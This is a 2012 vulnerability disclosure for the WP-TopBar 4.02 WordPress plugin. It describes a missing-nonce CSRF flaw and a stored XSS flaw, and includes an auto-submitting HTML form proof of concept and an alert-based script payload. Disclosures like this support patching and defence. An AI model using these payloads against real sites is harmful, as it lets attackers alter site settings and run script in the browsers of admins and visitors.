# Exploit Title: WP-TopBar 4.02 CSRF
# Date: 2012-09-13
# Author: Blake Entrekin
# Version: 4.02
# Download Link: http://downloads.wordpress.org/plugin/wp-topbar.4.02.zip

-------------------
CSRF
-------------------


The wp-topbar.php does not utilize a nonce value when submitting any POST
changes. As a result, this page is vulnerable to Cross Site Request
Forgery.

Proof of Concept Code:

<html>
<head>
<title></title>
</head>
<body>
<form name="testform" action="
https://localhost/wordpress/wp-admin/admin.php?page=wp-topbar.php&action=topbartext&barid=1"
method="POST">
<br>
<input type="hidden" name="wptbbartext"
value="</script><script>onload=alert(3)</script>">
<input type="hidden" name="wptblinktext" value="whatever">
<input type="hidden" name="wptblinkurl"
value="http%3A%2F%2Fwordpress.org%2Fextend%2Fplugins%2Fwp-topbar%2F">
<input type="hidden" name="wptblinktarget" value="blank">
<input type="hidden" name="wptbenableimage" value="false">
<input type="hidden" name="wptbbarimage" value="">
<input type="hidden" name="update_wptbSettings"
value="Update+Settings">

</form>
<script type="text/javascript">
document.testform.submit();
</script>
</body>
</html>

This script takes advantage of a logged in user to submit the required
variables needed to update an existing TopBar with the required settings
that commits and executes a Stored XSS vulnerability from a previous
disclosure. In this example it was tested against a wordpress application
running on �localhost� and altered a TopBar with the �id� of 1. This
version of WP-TopBar creates a default TopBar with the id of 1 upon
installation. Any subsequent TopBar created has an id incremented. It can
be assumed that a user is more then likely to still have the default TopBar
and easily attack it.

# Exploit Title: WP-TopBar 4.02 Authenticated Stored XSS

-------------------
Stored XSS
-------------------

The message field (wptbbartext variable) of the wp-topbar.php page is
vulnerable to Stored Cross-site Scripting. This variable is only
accessible via the admin menu of the plugin.

The following code is an example:

</script><script>alert(3)</script>

This code is committed to the database upon submission and will run both
under the admin interface when the bar is shown as a preview as well as the
front facing page where the bar is set to display.
